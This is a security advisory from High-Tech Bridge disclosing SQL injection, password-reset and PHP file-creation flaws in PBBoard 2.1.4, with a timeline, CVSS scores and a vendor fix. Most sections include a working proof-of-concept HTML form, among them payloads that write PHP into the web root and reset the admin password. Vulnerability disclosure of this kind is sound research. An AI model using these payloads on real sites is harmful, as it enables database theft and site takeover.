High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple vulnerabilities in PBBoard

Advisory ID:HTB23101
Product:PBBoard
Vendor: PBBoard
Vulnerable Versions:2.1.4 and probably prior
Tested Version:2.1.4
Advisory Publication:July 18, 2012 [without technical details]
Vendor Notification:July 18, 2012
Vendor Fix:August 6, 2012
Public Disclosure:August 8, 2012
Latest Update:August 7, 2012
Vulnerability Type:SQL Injection [CWE-89]
Improper Authentication [CWE-287]
Code Injection [CWE-94]
CVE References:CVE-2012-4034
CVE-2012-4035
CVE-2012-4036
Risk Level:Critical
CVSSv2 Base Scores:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in PBBoard, which can be exploited to perform SQL injection attacks, change password of arbitrary user and create arbitrary files in folder of the vulnerable application.


1) Multiple SQL Injections in PBBoard: CVE-2012-4034

1.1 Input passed via the "username" POST parameter to /index.php (when "id", "member" and "start" parameters are set, and "page" is set to "send") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://[host]/index.php?id=1&member=1&page=send&start=1" method="post" name="main" id="main">
<input type="hidden" name="username" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>

1.2 Input passed via the "email" POST parameter to /index.php (when "send_active_code" parameter is set, and "page" is set to "forget") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:

<form action="http://[host]/index.php?page=forget&send_active_code=1" method="post" name="main" id="main">
<input type="hidden" name="email" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>

1.3 Input passed via the "password" POST parameter to /index.php (when "password_check" and "id" parameters are set, and "page" is set to "forum_archive") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:

<form action="http://[host]/index.php?page=forum_archive&password_check=1&id=1" method="post" name="main" id="main">
<input type="hidden" name="password" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>

1.4 Input passed via the "section" POST parameter to /index.php (when "move" and "subject_id" parameters are set, and "page" is set to "management") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:

<form action="http://[host]/index.php?page=management&move=1&subject_id=1" method="post" name="main" id="main">
<input type="hidden" name="section" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>

1.5 Input passed via the "section_id" POST parameter to /index.php (when "startdeleteposts" and "do_replys" parameters are set, and "page" is set to "managementreply") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:

<form action="http://[host]/index.php?page=managementreply&startdeleteposts=1&do_replys=1" method="post" name="main" id="main">
<input type="hidden" name="section_id" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="hidden" name="check[]" value="1">
<input type="submit" name="Submit" value="Send">
</form>

1.6 Input passed via the "member_id" POST parameter to /index.php (when "forget" parameter is set, and "page" is set to "new_password") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:

<form action="http://[host]/index.php?page=new_password&forget=1" method="post" name="main" id="main">
<input type="hidden" name="member_id" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="hidden" name="new_password" value="1">
<input type="submit" name="Submit" value="Send">
</form>

1.7 Input passed via the "subjectid" POST parameter to /index.php (when "start" parameter is set, and "page" is set to "tags") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:

<form action="http://[host]/index.php?page=tags&start=1" method="post" name="main" id="main">
<input type="hidden" name="subjectid" value="' union select '<? php_code ?>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 INTO OUTFILE '../../../path/to/site/file.php' -- ">
<input type="submit" name="Submit" value="Send">
</form>

Successful exploitation of the above-mentioned vulnerabilities (1.1 - 1.7) requires that "magic_quotes_gpc" is set to "off". SQL injection in POST request can be also exploited with a FireFox browser equipped with Tamper Data plugin.


2) Improper Authentication in PBBoard: CVE-2012-4035

PBBoard permits to change password of any board member due to absence of any verification of user-supplied "member_id" POST parameter in the password change script.

The following PoC changes password for the user with ID=1 (forum administrator):

<form action="http://[host]/index.php?page=new_password&forget=1" method="post" name="main" id="main">
<input type="hidden" name="member_id" value="1">
<input type="hidden" name="new_password" value="new_password">
<input type="submit" name="Submit" value="Send">
</form>


3) Code Injection in PBBoard: CVE-2012-4036

Input passed via the "xml_name" POST parameter to /admin.php (when "export" and "export_writing" parameters are set, and "page" parameter is set to "addons") is not properly sanitised before being used as a name of a newly created file.

An attacker can create an arbitrary .php file and potentially execute arbitrary PHP code on vulnerable system depending on server configuration.

The following PoC will create a file located at: http://[host]/addons/file.php that will display result of phpinfo() function execution:

<form action="http://[host]/admin.php?page=addons&export=1&export_writing=1&xml_name=file.php" method="post" name="main" id="main">
<input type="hidden" name="context" value='<? phpinfo(); ?>'>
<input type="submit" name="Submit" value="Send">
</form>

Successful exploitation of this vulnerability requires administrative priveledges, however can be also exploited via CSRF vector (CVE-2012-1216). The CSRF vulnerability has not been patched by the Vendor Notification date.


Solution:
Apply 5-8-2012 Security Patch

More Information:
http://www.pbboard.com/forums/t10352.html
http://www.pbboard.com/forums/t10353.html


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23101 - https://www.htbridge.com/advisory/HTB23101 - Multiple vulnerabilities in PBBoard.
[2] PBBoard - http://www.pbboard.com - PBBoard is a free flat-forum bulletin board software.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.